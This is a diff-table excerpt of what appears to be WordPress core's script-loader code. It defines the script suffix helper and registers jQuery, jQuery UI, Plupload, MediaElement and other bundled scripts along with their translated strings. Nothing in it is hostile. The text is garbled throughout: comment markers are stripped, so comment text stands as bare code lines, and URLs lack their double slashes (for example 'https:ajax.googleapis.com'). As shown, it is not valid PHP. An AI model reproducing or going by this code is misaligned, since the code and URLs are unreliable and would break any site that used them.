| 645 | + | function wp_scripts_get_suffix( $type = '' ) { | |
| 646 | + | static $suffixes; | |
| 647 | + | ||
| 648 | + | if ( null === $suffixes ) { | |
| 649 | + | Include an unmodified $wp_version. | |
| 650 | + | require ABSPATH . WPINC . '/version.php'; | |
| 651 | + | ||
| 652 | + | $develop_src = false !== strpos( $wp_version, '-src' ); | |
| 653 | + | ||
| 654 | + | if ( ! defined( 'SCRIPT_DEBUG' ) ) { | |
| 655 | + | define( 'SCRIPT_DEBUG', $develop_src ); | |
| 656 | + | } | |
| 657 | + | $suffix = SCRIPT_DEBUG ? '' : '.min'; | |
| 658 | + | $dev_suffix = $develop_src ? '' : '.min'; | |
| 659 | + | ||
| 660 | + | $suffixes = array( | |
| 661 | + | 'suffix' => $suffix, | |
| 662 | + | 'dev_suffix' => $dev_suffix, | |
| 663 | + | ); | |
| 664 | + | } | |
| 665 | + | ||
| 666 | + | if ( 'dev' === $type ) { | |
| 667 | + | return $suffixes['dev_suffix']; | |
| 668 | + | } | |
| 669 | + | ||
| 670 | + | return $suffixes['suffix']; | |
| 671 | + | } | |
| 672 | + | ||
| 673 | + | * | |
| 674 | + | * Registers all WordPress scripts. | |
| 675 | + | * | |
| 676 | + | * Localizes some of them. | |
| 677 | + | * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );` | |
| 678 | + | * when last arg === 1 queues the script for the footer | |
| 679 | + | * | |
| 680 | + | * @since 2.6.0 | |
| 681 | + | * | |
| 682 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 683 | + | ||
| 684 | + | function wp_default_scripts( $scripts ) { | |
| 685 | + | $suffix = wp_scripts_get_suffix(); | |
| 686 | + | $dev_suffix = wp_scripts_get_suffix( 'dev' ); | |
| 687 | + | $guessurl = site_url(); | |
| 688 | + | ||
| 689 | + | if ( ! $guessurl ) { | |
| 690 | + | $guessed_url = true; | |
| 691 | + | $guessurl = wp_guess_url(); | |
| 692 | + | } | |
| 693 | + | ||
| 694 | + | $scripts->base_url = $guessurl; | |
| 695 | + | $scripts->content_url = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : ''; | |
| 696 | + | $scripts->default_version = get_bloginfo( 'version' ); | |
| 697 | + | $scripts->default_dirs = array( '/wp-admin/js/', '/wp-includes/js/' ); | |
| 698 | + | ||
| 699 | + | $scripts->add( 'utils', "/wp-includes/js/utils$suffix.js" ); | |
| 700 | + | did_action( 'init' ) && $scripts->localize( | |
| 701 | + | 'utils', | |
| 702 | + | 'userSettings', | |
| 703 | + | array( | |
| 704 | + | 'url' => (string) SITECOOKIEPATH, | |
| 705 | + | 'uid' => (string) get_current_user_id(), | |
| 706 | + | 'time' => (string) time(), | |
| 707 | + | 'secure' => (string) ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) ), | |
| 708 | + | ) | |
| 709 | + | ); | |
| 710 | + | ||
| 711 | + | $scripts->add( 'common', "/wp-admin/js/common$suffix.js", array( 'jquery', 'hoverIntent', 'utils' ), false, 1 ); | |
| 712 | + | $scripts->set_translations( 'common' ); | |
| 713 | + | ||
| 714 | + | $scripts->add( 'wp-sanitize', "/wp-includes/js/wp-sanitize$suffix.js", array(), false, 1 ); | |
| 715 | + | ||
| 716 | + | $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 ); | |
| 717 | + | ||
| 718 | + | $scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", array(), false, 1 ); | |
| 719 | + | did_action( 'init' ) && $scripts->localize( | |
| 720 | + | 'quicktags', | |
| 721 | + | 'quicktagsL10n', | |
| 722 | + | array( | |
| 723 | + | 'closeAllOpenTags' => __( 'Close all open tags' ), | |
| 724 | + | 'closeTags' => __( 'close tags' ), | |
| 725 | + | 'enterURL' => __( 'Enter the URL' ), | |
| 726 | + | 'enterImageURL' => __( 'Enter the URL of the image' ), | |
| 727 | + | 'enterImageDescription' => __( 'Enter a description of the image' ), | |
| 728 | + | 'textdirection' => __( 'text direction' ), | |
| 729 | + | 'toggleTextdirection' => __( 'Toggle Editor Text Direction' ), | |
| 730 | + | 'dfw' => __( 'Distraction-free writing mode' ), | |
| 731 | + | 'strong' => __( 'Bold' ), | |
| 732 | + | 'strongClose' => __( 'Close bold tag' ), | |
| 733 | + | 'em' => __( 'Italic' ), | |
| 734 | + | 'emClose' => __( 'Close italic tag' ), | |
| 735 | + | 'link' => __( 'Insert link' ), | |
| 736 | + | 'blockquote' => __( 'Blockquote' ), | |
| 737 | + | 'blockquoteClose' => __( 'Close blockquote tag' ), | |
| 738 | + | 'del' => __( 'Deleted text (strikethrough)' ), | |
| 739 | + | 'delClose' => __( 'Close deleted text tag' ), | |
| 740 | + | 'ins' => __( 'Inserted text' ), | |
| 741 | + | 'insClose' => __( 'Close inserted text tag' ), | |
| 742 | + | 'image' => __( 'Insert image' ), | |
| 743 | + | 'ul' => __( 'Bulleted list' ), | |
| 744 | + | 'ulClose' => __( 'Close bulleted list tag' ), | |
| 745 | + | 'ol' => __( 'Numbered list' ), | |
| 746 | + | 'olClose' => __( 'Close numbered list tag' ), | |
| 747 | + | 'li' => __( 'List item' ), | |
| 748 | + | 'liClose' => __( 'Close list item tag' ), | |
| 749 | + | 'code' => __( 'Code' ), | |
| 750 | + | 'codeClose' => __( 'Close code tag' ), | |
| 751 | + | 'more' => __( 'Insert Read More tag' ), | |
| 752 | + | ) | |
| 753 | + | ); | |
| 754 | + | ||
| 755 | + | $scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array( 'prototype' ), '3517m' ); | |
| 756 | + | ||
| 757 | + | $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array( 'utils', 'jquery' ), false, 1 ); | |
| 758 | + | ||
| 759 | + | $scripts->add( 'clipboard', "/wp-includes/js/clipboard$suffix.js", array(), '2.0.11', 1 ); | |
| 760 | + | ||
| 761 | + | $scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 ); | |
| 762 | + | did_action( 'init' ) && $scripts->localize( | |
| 763 | + | 'wp-ajax-response', | |
| 764 | + | 'wpAjax', | |
| 765 | + | array( | |
| 766 | + | 'noPerm' => __( 'Sorry, you are not allowed to do that.' ), | |
| 767 | + | 'broken' => __( 'Something went wrong.' ), | |
| 768 | + | ) | |
| 769 | + | ); | |
| 770 | + | ||
| 771 | + | $scripts->add( 'wp-api-request', "/wp-includes/js/api-request$suffix.js", array( 'jquery' ), false, 1 ); | |
| 772 | + | `wpApiSettings` is also used by `wp-api`, which depends on this script. | |
| 773 | + | did_action( 'init' ) && $scripts->localize( | |
| 774 | + | 'wp-api-request', | |
| 775 | + | 'wpApiSettings', | |
| 776 | + | array( | |
| 777 | + | 'root' => sanitize_url( get_rest_url() ), | |
| 778 | + | 'nonce' => wp_installing() ? '' : wp_create_nonce( 'wp_rest' ), | |
| 779 | + | 'versionString' => 'wp/v2/', | |
| 780 | + | ) | |
| 781 | + | ); | |
| 782 | + | ||
| 783 | + | $scripts->add( 'wp-pointer', "/wp-includes/js/wp-pointer$suffix.js", array( 'jquery-ui-core' ), false, 1 ); | |
| 784 | + | $scripts->set_translations( 'wp-pointer' ); | |
| 785 | + | ||
| 786 | + | $scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array( 'heartbeat' ), false, 1 ); | |
| 787 | + | ||
| 788 | + | $scripts->add( 'heartbeat', "/wp-includes/js/heartbeat$suffix.js", array( 'jquery', 'wp-hooks' ), false, 1 ); | |
| 789 | + | did_action( 'init' ) && $scripts->localize( | |
| 790 | + | 'heartbeat', | |
| 791 | + | 'heartbeatSettings', | |
| 792 | + | * | |
| 793 | + | * Filters the Heartbeat settings. | |
| 794 | + | * | |
| 795 | + | * @since 3.6.0 | |
| 796 | + | * | |
| 797 | + | * @param array $settings Heartbeat settings array. | |
| 798 | + | ||
| 799 | + | apply_filters( 'heartbeat_settings', array() ) | |
| 800 | + | ); | |
| 801 | + | ||
| 802 | + | $scripts->add( 'wp-auth-check', "/wp-includes/js/wp-auth-check$suffix.js", array( 'heartbeat' ), false, 1 ); | |
| 803 | + | $scripts->set_translations( 'wp-auth-check' ); | |
| 804 | + | ||
| 805 | + | $scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 ); | |
| 806 | + | ||
| 807 | + | WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source. | |
| 808 | + | $scripts->add( 'prototype', 'https:ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1' ); | |
| 809 | + | $scripts->add( 'scriptaculous-root', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array( 'prototype' ), '1.9.0' ); | |
| 810 | + | $scripts->add( 'scriptaculous-builder', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array( 'scriptaculous-root' ), '1.9.0' ); | |
| 811 | + | $scripts->add( 'scriptaculous-dragdrop', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array( 'scriptaculous-builder', 'scriptaculous-effects' ), '1.9.0' ); | |
| 812 | + | $scripts->add( 'scriptaculous-effects', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array( 'scriptaculous-root' ), '1.9.0' ); | |
| 813 | + | $scripts->add( 'scriptaculous-slider', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array( 'scriptaculous-effects' ), '1.9.0' ); | |
| 814 | + | $scripts->add( 'scriptaculous-sound', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' ); | |
| 815 | + | $scripts->add( 'scriptaculous-controls', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array( 'scriptaculous-root' ), '1.9.0' ); | |
| 816 | + | $scripts->add( 'scriptaculous', false, array( 'scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls' ) ); | |
| 817 | + | ||
| 818 | + | Not used in core, replaced by Jcrop.js. | |
| 819 | + | $scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array( 'scriptaculous-dragdrop' ) ); | |
| 820 | + | ||
| 821 | + | jQuery. | |
| 822 | + | The unminified jquery.js and jquery-migrate.js are included to facilitate debugging. | |
| 823 | + | $scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '3.6.1' ); | |
| 824 | + | $scripts->add( 'jquery-core', "/wp-includes/js/jquery/jquery$suffix.js", array(), '3.6.1' ); | |
| 825 | + | $scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '3.3.2' ); | |
| 826 | + | ||
| 827 | + | Full jQuery UI. | |
| 828 | + | The build process in 1.12.1 has changed significantly. | |
| 829 | + | In order to keep backwards compatibility, and to keep the optimized loading, | |
| 830 | + | the source files were flattened and included with some modifications for AMD loading. | |
| 831 | + | A notable change is that 'jquery-ui-core' now contains 'jquery-ui-position' and 'jquery-ui-widget'. | |
| 832 | + | $scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$suffix.js", array( 'jquery' ), '1.13.2', 1 ); | |
| 833 | + | $scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$suffix.js", array( 'jquery' ), '1.13.2', 1 ); | |
| 834 | + | ||
| 835 | + | $scripts->add( 'jquery-effects-blind', "/wp-includes/js/jquery/ui/effect-blind$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 836 | + | $scripts->add( 'jquery-effects-bounce', "/wp-includes/js/jquery/ui/effect-bounce$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 837 | + | $scripts->add( 'jquery-effects-clip', "/wp-includes/js/jquery/ui/effect-clip$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 838 | + | $scripts->add( 'jquery-effects-drop', "/wp-includes/js/jquery/ui/effect-drop$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 839 | + | $scripts->add( 'jquery-effects-explode', "/wp-includes/js/jquery/ui/effect-explode$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 840 | + | $scripts->add( 'jquery-effects-fade', "/wp-includes/js/jquery/ui/effect-fade$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 841 | + | $scripts->add( 'jquery-effects-fold', "/wp-includes/js/jquery/ui/effect-fold$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 842 | + | $scripts->add( 'jquery-effects-highlight', "/wp-includes/js/jquery/ui/effect-highlight$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 843 | + | $scripts->add( 'jquery-effects-puff', "/wp-includes/js/jquery/ui/effect-puff$suffix.js", array( 'jquery-effects-core', 'jquery-effects-scale' ), '1.13.2', 1 ); | |
| 844 | + | $scripts->add( 'jquery-effects-pulsate', "/wp-includes/js/jquery/ui/effect-pulsate$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 845 | + | $scripts->add( 'jquery-effects-scale', "/wp-includes/js/jquery/ui/effect-scale$suffix.js", array( 'jquery-effects-core', 'jquery-effects-size' ), '1.13.2', 1 ); | |
| 846 | + | $scripts->add( 'jquery-effects-shake', "/wp-includes/js/jquery/ui/effect-shake$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 847 | + | $scripts->add( 'jquery-effects-size', "/wp-includes/js/jquery/ui/effect-size$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 848 | + | $scripts->add( 'jquery-effects-slide', "/wp-includes/js/jquery/ui/effect-slide$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 849 | + | $scripts->add( 'jquery-effects-transfer', "/wp-includes/js/jquery/ui/effect-transfer$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 ); | |
| 850 | + | ||
| 851 | + | Widgets | |
| 852 | + | $scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 853 | + | $scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$suffix.js", array( 'jquery-ui-menu', 'wp-a11y' ), '1.13.2', 1 ); | |
| 854 | + | $scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$suffix.js", array( 'jquery-ui-core', 'jquery-ui-controlgroup', 'jquery-ui-checkboxradio' ), '1.13.2', 1 ); | |
| 855 | + | $scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 856 | + | $scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$suffix.js", array( 'jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button' ), '1.13.2', 1 ); | |
| 857 | + | $scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 858 | + | $scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 859 | + | $scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 860 | + | $scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$suffix.js", array( 'jquery-ui-menu' ), '1.13.2', 1 ); | |
| 861 | + | $scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 ); | |
| 862 | + | $scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$suffix.js", array( 'jquery-ui-button' ), '1.13.2', 1 ); | |
| 863 | + | $scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 864 | + | $scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 865 | + | ||
| 866 | + | New in 1.12.1 | |
| 867 | + | $scripts->add( 'jquery-ui-checkboxradio', "/wp-includes/js/jquery/ui/checkboxradio$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 868 | + | $scripts->add( 'jquery-ui-controlgroup', "/wp-includes/js/jquery/ui/controlgroup$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 869 | + | ||
| 870 | + | Interactions | |
| 871 | + | $scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 ); | |
| 872 | + | $scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$suffix.js", array( 'jquery-ui-draggable' ), '1.13.2', 1 ); | |
| 873 | + | $scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 ); | |
| 874 | + | $scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 ); | |
| 875 | + | $scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 ); | |
| 876 | + | ||
| 877 | + | As of 1.12.1 `jquery-ui-position` and `jquery-ui-widget` are part of `jquery-ui-core`. | |
| 878 | + | Listed here for back-compat. | |
| 879 | + | $scripts->add( 'jquery-ui-position', false, array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 880 | + | $scripts->add( 'jquery-ui-widget', false, array( 'jquery-ui-core' ), '1.13.2', 1 ); | |
| 881 | + | ||
| 882 | + | Strings for 'jquery-ui-autocomplete' live region messages. | |
| 883 | + | did_action( 'init' ) && $scripts->localize( | |
| 884 | + | 'jquery-ui-autocomplete', | |
| 885 | + | 'uiAutocompleteL10n', | |
| 886 | + | array( | |
| 887 | + | 'noResults' => __( 'No results found.' ), | |
| 888 | + | translators: Number of results found when using jQuery UI Autocomplete. | |
| 889 | + | 'oneResult' => __( '1 result found. Use up and down arrow keys to navigate.' ), | |
| 890 | + | translators: %d: Number of results found when using jQuery UI Autocomplete. | |
| 891 | + | 'manyResults' => __( '%d results found. Use up and down arrow keys to navigate.' ), | |
| 892 | + | 'itemSelected' => __( 'Item selected.' ), | |
| 893 | + | ) | |
| 894 | + | ); | |
| 895 | + | ||
| 896 | + | Deprecated, not used in core, most functionality is included in jQuery 1.3. | |
| 897 | + | $scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array( 'jquery' ), '4.3.0', 1 ); | |
| 898 | + | ||
| 899 | + | jQuery plugins. | |
| 900 | + | $scripts->add( 'jquery-color', '/wp-includes/js/jquery/jquery.color.min.js', array( 'jquery' ), '2.2.0', 1 ); | |
| 901 | + | $scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array( 'jquery' ), '20m', 1 ); | |
| 902 | + | $scripts->add( 'jquery-query', '/wp-includes/js/jquery/jquery.query.js', array( 'jquery' ), '2.2.3', 1 ); | |
| 903 | + | $scripts->add( 'jquery-serialize-object', '/wp-includes/js/jquery/jquery.serialize-object.js', array( 'jquery' ), '0.2-wp', 1 ); | |
| 904 | + | $scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array( 'jquery' ), '0.0.2m', 1 ); | |
| 905 | + | $scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array( 'jquery', 'jquery-hotkeys' ), false, 1 ); | |
| 906 | + | $scripts->add( 'jquery-touch-punch', '/wp-includes/js/jquery/jquery.ui.touch-punch.js', array( 'jquery-ui-core', 'jquery-ui-mouse' ), '0.2.2', 1 ); | |
| 907 | + | ||
| 908 | + | Not used any more, registered for backward compatibility. | |
| 909 | + | $scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array( 'jquery' ), '1.1-20110113', 1 ); | |
| 910 | + | ||
| 911 | + | Masonry v2 depended on jQuery. v3 does not. The older jquery-masonry handle is a shiv. | |
| 912 | + | It sets jQuery as a dependency, as the theme may have been implicitly loading it this way. | |
| 913 | + | $scripts->add( 'imagesloaded', '/wp-includes/js/imagesloaded.min.js', array(), '4.1.4', 1 ); | |
| 914 | + | $scripts->add( 'masonry', '/wp-includes/js/masonry.min.js', array( 'imagesloaded' ), '4.2.2', 1 ); | |
| 915 | + | $scripts->add( 'jquery-masonry', '/wp-includes/js/jquery/jquery.masonry.min.js', array( 'jquery', 'masonry' ), '3.1.2b', 1 ); | |
| 916 | + | ||
| 917 | + | $scripts->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.js', array( 'jquery' ), '3.1-20121105', 1 ); | |
| 918 | + | did_action( 'init' ) && $scripts->localize( | |
| 919 | + | 'thickbox', | |
| 920 | + | 'thickboxL10n', | |
| 921 | + | array( | |
| 922 | + | 'next' => __( 'Next >' ), | |
| 923 | + | 'prev' => __( '< Prev' ), | |
| 924 | + | 'image' => __( 'Image' ), | |
| 925 | + | 'of' => __( 'of' ), | |
| 926 | + | 'close' => __( 'Close' ), | |
| 927 | + | 'noiframes' => __( 'This feature requires inline frames. You have iframes disabled or your browser does not support them.' ), | |
| 928 | + | 'loadingAnimation' => includes_url( 'js/thickbox/loadingAnimation.gif' ), | |
| 929 | + | ) | |
| 930 | + | ); | |
| 931 | + | ||
| 932 | + | Not used in core, replaced by imgAreaSelect. | |
| 933 | + | $scripts->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.js', array( 'jquery' ), '0.9.15' ); | |
| 934 | + | ||
| 935 | + | $scripts->add( 'swfobject', '/wp-includes/js/swfobject.js', array(), '2.2-20120417' ); | |
| 936 | + | ||
| 937 | + | Error messages for Plupload. | |
| 938 | + | $uploader_l10n = array( | |
| 939 | + | 'queue_limit_exceeded' => __( 'You have attempted to queue too many files.' ), | |
| 940 | + | translators: %s: File name. | |
| 941 | + | 'file_exceeds_size_limit' => __( '%s exceeds the maximum upload size for this site.' ), | |
| 942 | + | 'zero_byte_file' => __( 'This file is empty. Please try another.' ), | |
| 943 | + | 'invalid_filetype' => __( 'Sorry, you are not allowed to upload this file type.' ), | |
| 944 | + | 'not_an_image' => __( 'This file is not an image. Please try another.' ), | |
| 945 | + | 'image_memory_exceeded' => __( 'Memory exceeded. Please try another smaller file.' ), | |
| 946 | + | 'image_dimensions_exceeded' => __( 'This is larger than the maximum size. Please try another.' ), | |
| 947 | + | 'default_error' => __( 'An error occurred in the upload. Please try again later.' ), | |
| 948 | + | 'missing_upload_url' => __( 'There was a configuration error. Please contact the server administrator.' ), | |
| 949 | + | 'upload_limit_exceeded' => __( 'You may only upload 1 file.' ), | |
| 950 | + | 'http_error' => __( 'Unexpected response from the server. The file may have been uploaded successfully. Check in the Media Library or reload the page.' ), | |
| 951 | + | 'http_error_image' => __( 'The server cannot process the image. This can happen if the server is busy or does not have enough resources to complete the task. Uploading a smaller image may help. Suggested maximum size is 2560 pixels.' ), | |
| 952 | + | 'upload_failed' => __( 'Upload failed.' ), | |
| 953 | + | translators: 1: Opening link tag, 2: Closing link tag. | |
| 954 | + | 'big_upload_failed' => __( 'Please try uploading this file with the %1$sbrowser uploader%2$s.' ), | |
| 955 | + | translators: %s: File name. | |
| 956 | + | 'big_upload_queued' => __( '%s exceeds the maximum upload size for the multi-file uploader when used in your browser.' ), | |
| 957 | + | 'io_error' => __( 'IO error.' ), | |
| 958 | + | 'security_error' => __( 'Security error.' ), | |
| 959 | + | 'file_cancelled' => __( 'File canceled.' ), | |
| 960 | + | 'upload_stopped' => __( 'Upload stopped.' ), | |
| 961 | + | 'dismiss' => __( 'Dismiss' ), | |
| 962 | + | 'crunching' => __( 'Crunching…' ), | |
| 963 | + | 'deleted' => __( 'moved to the Trash.' ), | |
| 964 | + | translators: %s: File name. | |
| 965 | + | 'error_uploading' => __( '“%s” has failed to upload.' ), | |
| 966 | + | 'unsupported_image' => __( 'This image cannot be displayed in a web browser. For best results convert it to JPEG before uploading.' ), | |
| 967 | + | 'noneditable_image' => __( 'This image cannot be processed by the web server. Convert it to JPEG or PNG before uploading.' ), | |
| 968 | + | 'file_url_copied' => __( 'The file URL has been copied to your clipboard' ), | |
| 969 | + | ); | |
| 970 | + | ||
| 971 | + | $scripts->add( 'moxiejs', "/wp-includes/js/plupload/moxie$suffix.js", array(), '1.3.5' ); | |
| 972 | + | $scripts->add( 'plupload', "/wp-includes/js/plupload/plupload$suffix.js", array( 'moxiejs' ), '2.1.9' ); | |
| 973 | + | Back compat handles: | |
| 974 | + | foreach ( array( 'all', 'html5', 'flash', 'silverlight', 'html4' ) as $handle ) { | |
| 975 | + | $scripts->add( "plupload-$handle", false, array( 'plupload' ), '2.1.1' ); | |
| 976 | + | } | |
| 977 | + | ||
| 978 | + | $scripts->add( 'plupload-handlers', "/wp-includes/js/plupload/handlers$suffix.js", array( 'clipboard', 'jquery', 'plupload', 'underscore', 'wp-a11y', 'wp-i18n' ) ); | |
| 979 | + | did_action( 'init' ) && $scripts->localize( 'plupload-handlers', 'pluploadL10n', $uploader_l10n ); | |
| 980 | + | ||
| 981 | + | $scripts->add( 'wp-plupload', "/wp-includes/js/plupload/wp-plupload$suffix.js", array( 'plupload', 'jquery', 'json2', 'media-models' ), false, 1 ); | |
| 982 | + | did_action( 'init' ) && $scripts->localize( 'wp-plupload', 'pluploadL10n', $uploader_l10n ); | |
| 983 | + | ||
| 984 | + | Keep 'swfupload' for back-compat. | |
| 985 | + | $scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', array(), '2201-20110113' ); | |
| 986 | + | $scripts->add( 'swfupload-all', false, array( 'swfupload' ), '2201' ); | |
| 987 | + | $scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array( 'swfupload-all', 'jquery' ), '2201-20110524' ); | |
| 988 | + | did_action( 'init' ) && $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', $uploader_l10n ); | |
| 989 | + | ||
| 990 | + | $scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", array(), false, 1 ); | |
| 991 | + | ||
| 992 | + | $scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", array(), '2015-05-03' ); | |
| 993 | + | did_action( 'init' ) && $scripts->add_data( 'json2', 'conditional', 'lt IE 8' ); | |
| 994 | + | ||
| 995 | + | $scripts->add( 'underscore', "/wp-includes/js/underscore$dev_suffix.js", array(), '1.13.4', 1 ); | |
| 996 | + | $scripts->add( 'backbone', "/wp-includes/js/backbone$dev_suffix.js", array( 'underscore', 'jquery' ), '1.4.1', 1 ); | |
| 997 | + | ||
| 998 | + | $scripts->add( 'wp-util', "/wp-includes/js/wp-util$suffix.js", array( 'underscore', 'jquery' ), false, 1 ); | |
| 999 | + | did_action( 'init' ) && $scripts->localize( | |
| 1000 | + | 'wp-util', | |
| 1001 | + | '_wpUtilSettings', | |
| 1002 | + | array( | |
| 1003 | + | 'ajax' => array( | |
| 1004 | + | 'url' => admin_url( 'admin-ajax.php', 'relative' ), | |
| 1005 | + | ), | |
| 1006 | + | ) | |
| 1007 | + | ); | |
| 1008 | + | ||
| 1009 | + | $scripts->add( 'wp-backbone', "/wp-includes/js/wp-backbone$suffix.js", array( 'backbone', 'wp-util' ), false, 1 ); | |
| 1010 | + | ||
| 1011 | + | $scripts->add( 'revisions', "/wp-admin/js/revisions$suffix.js", array( 'wp-backbone', 'jquery-ui-slider', 'hoverIntent' ), false, 1 ); | |
| 1012 | + | ||
| 1013 | + | $scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1014 | + | ||
| 1015 | + | $scripts->add( 'mediaelement', false, array( 'jquery', 'mediaelement-core', 'mediaelement-migrate' ), '4.2.17', 1 ); | |
| 1016 | + | $scripts->add( 'mediaelement-core', "/wp-includes/js/mediaelement/mediaelement-and-player$suffix.js", array(), '4.2.17', 1 ); | |
| 1017 | + | $scripts->add( 'mediaelement-migrate', "/wp-includes/js/mediaelement/mediaelement-migrate$suffix.js", array(), false, 1 ); | |
| 1018 | + | ||
| 1019 | + | did_action( 'init' ) && $scripts->add_inline_script( | |
| 1020 | + | 'mediaelement-core', | |
| 1021 | + | sprintf( | |
| 1022 | + | 'var mejsL10n = %s;', | |
| 1023 | + | wp_json_encode( | |
| 1024 | + | array( | |
| 1025 | + | 'language' => strtolower( strtok( determine_locale(), '_-' ) ), | |
| 1026 | + | 'strings' => array( | |
| 1027 | + | 'mejs.download-file' => __( 'Download File' ), | |
| 1028 | + | 'mejs.install-flash' => __( 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https:get.adobe.com/flashplayer/' ), | |
| 1029 | + | 'mejs.fullscreen' => __( 'Fullscreen' ), | |
| 1030 | + | 'mejs.play' => __( 'Play' ), | |
| 1031 | + | 'mejs.pause' => __( 'Pause' ), | |
| 1032 | + | 'mejs.time-slider' => __( 'Time Slider' ), | |
| 1033 | + | 'mejs.time-help-text' => __( 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.' ), | |
